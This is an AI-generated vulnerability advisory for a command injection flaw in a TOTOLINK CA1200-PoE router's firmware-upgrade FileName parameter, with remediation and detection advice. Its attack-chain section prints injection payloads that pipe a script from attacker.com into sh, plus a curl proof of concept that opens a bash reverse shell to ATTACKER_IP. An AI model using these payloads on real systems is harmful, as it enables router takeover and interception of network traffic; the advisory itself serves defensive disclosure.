CVE Professor
/
All CVEs
CVE-2026-144993

CVE-2026-144993 — TOTOLINK CA1200-PoE — CWE-77 · CWE-78

CRITICAL CVSS 9.9 NVD

A vulnerability was identified in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. Affected by this vulnerability is the function setUpgradeFW in the library lib/cste_modules/upgrade.so of the component Web Management Interface. Such manipulation of the argument FileName leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.

A vulnerability was identified in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. Affected by this vulnerability is the function setUpgradeFW in the library lib/cste_modules/upgrade.so of the component Web Management Interface. Such manipulation of the argument FileName leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Remote Code Execution (RCE) flaw caused by OS Command Injection (CWE-77 / CWE-78) in the TOTOLINK CA1200-PoE router.

Technical Breakdown:

  • Vulnerable Component: The Web Management Interface, specifically the setUpgradeFW function within the shared library lib/cste_modules/upgrade.so.

  • Root Cause: The application accepts a user-supplied parameter named FileName (likely part of a firmware upgrade request) and passes it directly to a system shell command (e.g., system(), exec(), or popen()) without proper sanitization or escaping.

  • Missing Control: Input validation. The application fails to restrict the FileName parameter to expected file extensions (e.g., .bin, .img) or valid path characters. It allows shell metacharacters (such as ;, |, &, $(), or backticks) to be interpreted by the underlying operating system shell.

  • Authentication Context: The CVSS vector PR:L (Privileges Required: Low) indicates that the attacker does not need full administrative privileges but must be authenticated with a low-privilege account (e.g., a standard user or guest account) to access the vulnerable endpoint. Alternatively, in some IoT implementations, "Low" may imply that the endpoint is accessible via a default/weak credential or a session cookie that is easily obtained.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker scans the target network for devices responding to HTTP/HTTPS on ports 80/443.
  • Version Identification: The attacker retrieves the router's banner or login page. The specific version 5.9c.3994_B20190326 can often be identified via:
  • * HTTP response headers (Server, X-Powered-By). * The login page HTML source code (often contains version strings in comments or JavaScript variables). * The System Info page (if accessible with low-privilege credentials).
  • Credential Acquisition: Since PR:L is required, the attacker needs valid low-privilege credentials. This could be:
  • * Default credentials (if not changed). * Weak passwords guessed via brute-force. * Session hijacking from a compromised user.

    2. Exploitation

    Endpoint Identification: The vulnerable function is setUpgradeFW. In TOTOLINK routers, this is typically exposed via a POST request to a CGI script or API endpoint, commonly /cgi-bin/upgrade.cgi or /api/upgrade. Note: The exact URI is not specified in the CVE description, so the following is an illustrative example based on common TOTOLINK architecture.*
  • Payload Construction: The attacker crafts a FileName parameter containing shell metacharacters to break out of the intended command context.
  • * Intended Command (Hypothetical): cp /tmp/uploaded_firmware.bin /dev/mtd2 * Malicious Input: FileName=; /bin/sh -c 'curl http://attacker.com/shell.sh | sh' # * Resulting Command: cp /tmp/uploaded_firmware.bin; /bin/sh -c 'curl http://attacker.com/shell.sh | sh' # /dev/mtd2
  • PoC (Illustrative):
  • # Step 1: Authenticate to obtain a session cookie (using low-priv creds)
        curl -c cookies.txt -d "username=lowpriv_user&password=weakpass" http://192.168.1.1/login.cgi
    
        # Step 2: Send the malicious upgrade request
        # The 'FileName' parameter is injected with a reverse shell command.
        # The '#' comments out the rest of the original command.
        curl -b cookies.txt \
             -X POST \
             -d "FileName=; /bin/sh -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #" \
             http://192.168.1.1/cgi-bin/upgrade.cgi

    Note: The exact parameter name and endpoint may vary. The key is that FileName is unsanitized and passed to a shell.

    3. Post-Exploitation

  • Reverse Shell: The injected command establishes a reverse shell from the router to the attacker's machine, providing interactive command-line access as the user running the web server process (often root or www-data on embedded Linux).
  • Privilege Escalation: If the web server runs as a non-root user, the attacker may exploit local vulnerabilities (e.g., SUID binaries, kernel exploits) to gain root access. On many IoT devices, the web server runs as root by default.
  • Persistence: The attacker can:
  • * Modify the router's startup scripts (/etc/rc.local, /etc/init.d/). * Replace legitimate binaries with backdoored versions. * Install a rootkit.
  • Lateral Movement: With root access to the router, the attacker can:
  • * Intercept and modify all network traffic (MITM). * Pivot to internal network hosts. * Disable security features (firewall, WPA2 encryption).

    🌍 Real World Impact

  • Confidentiality (High): The attacker can read all network traffic passing through the router, including unencrypted data (HTTP, DNS, SNMP). They can also access stored credentials, configuration files, and logs.
  • Integrity (High): The attacker can modify network configurations, redirect traffic, inject malicious content into web pages, or alter DNS responses to point to malicious servers.
  • Availability (High): The attacker can reboot the router, brick it by corrupting firmware, or disable network services, causing a denial of service for all connected devices.
  • Scope (Changed): The vulnerability allows the attacker to impact resources beyond the vulnerable component (the router itself), affecting the entire network segment and potentially other systems connected to the router.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade Firmware: The primary remediation is to update the firmware to a version that fixes the command injection flaw. Check TOTOLINK's official support site for a firmware release newer than 5.9c.3994_B20190326 that addresses CVE-2026-144993.
  • If No Patch is Available: Consider replacing the device with a supported model from a vendor that provides regular security updates.
  • 2. Workarounds (If Patching is Not Immediately Possible)

  • Restrict Access to the Web Interface:
  • * Disable remote management (WAN access) to the web interface. * Restrict LAN access to the web interface to specific trusted IP addresses only. * Use a firewall rule to block access to the router's management IP from untrusted subnets.
  • Disable the Upgrade Function:
  • * If the router's web interface allows disabling the firmware upgrade feature, do so. * If not, consider blocking the specific CGI endpoint (e.g., /cgi-bin/upgrade.cgi) via a reverse proxy or firewall rule.
  • WAF/ModSecurity Rule:
  • * Deploy a Web Application Firewall (WAF) rule to detect and block common command injection patterns in the FileName parameter. * Example ModSecurity Rule (Illustrative):
    SecRule ARGS:FileName "@rx [;&|`$]" \
                "id:100001,\
                phase:2,\
                block,\
                msg:'Command Injection Attempt in FileName Parameter',\
                logdata:'%{MATCHED_VAR}',\
                severity:2,\
                setvar:tx.inbound_anomaly_score_pl1=+10"

    Note: This is a basic rule and may be bypassed by advanced attackers. It is a temporary mitigation, not a fix.*

    3. Detection

  • Web Server Logs: Monitor the router's web server logs (if accessible) for POST requests to the upgrade endpoint with suspicious FileName values.
  • * IoC Pattern: Look for shell metacharacters in the FileName parameter: ;, |, &, $(, backticks, &&, ||. * Example Log Entry:
    POST /cgi-bin/upgrade.cgi HTTP/1.1
            Content-Type: application/x-www-form-urlencoded
            FileName=; /bin/sh -c 'curl http://malicious.com/shell.sh | sh' #
  • Network Traffic: Monitor for unexpected outbound connections from the router to external IPs, especially on non-standard ports.
  • Process Monitoring: If possible, monitor the router's process list for unexpected processes (e.g., sh, bash, nc, curl) spawned by the web server process.
  • ⚠️ Urgency

  • CVSS Score: 9.9 (Critical)
  • Exploit Availability: Publicly available.
  • CISA KEV: Not listed (as of the provided data), but the high CVSS score and public exploit availability make it a high-priority target.
  • Patching Priority: Immediate.
* Given the critical severity, ease of exploitation (low complexity, low privileges required), and public exploit availability, this vulnerability should be treated as an emergency. * If a patch is available, apply it immediately. * If no patch is available, implement the workarounds (restricting access, WAF rules) as soon as possible and plan for device replacement. * Assume compromise if the device is exposed to the internet or untrusted networks.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Related CVEs
10.0
CVE-2026-144990
A vulnerability was found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This impacts the function NTPSyncWithHos
10.0
CVE-2026-144988
A vulnerability has been found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This affects the function Form_Logi
9.9
CVE-2026-144991
A vulnerability was determined in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. Affected is the function recvUpgrad
8.7
CVE-2026-144489
Teleport 15.4.0 before 17.7.30 and 18.x before 18.11.3 contain an uncontrolled memory allocation vulnerability
6.9
CVE-2026-145555
ProFTPD 1.3.6rc1 through 1.3.9f and 1.3.10rc1 through 1.3.10rc6 contains a login timeout bypass vulnerability
6.8
CVE-2026-145567
SiYuan before 3.9.0-alpha.14 contains a denial of service vulnerability that allows attackers to exhaust disk
6.3
CVE-2026-144895
A security flaw has been discovered in vgmstream up to r2117. The affected element is the function decode_key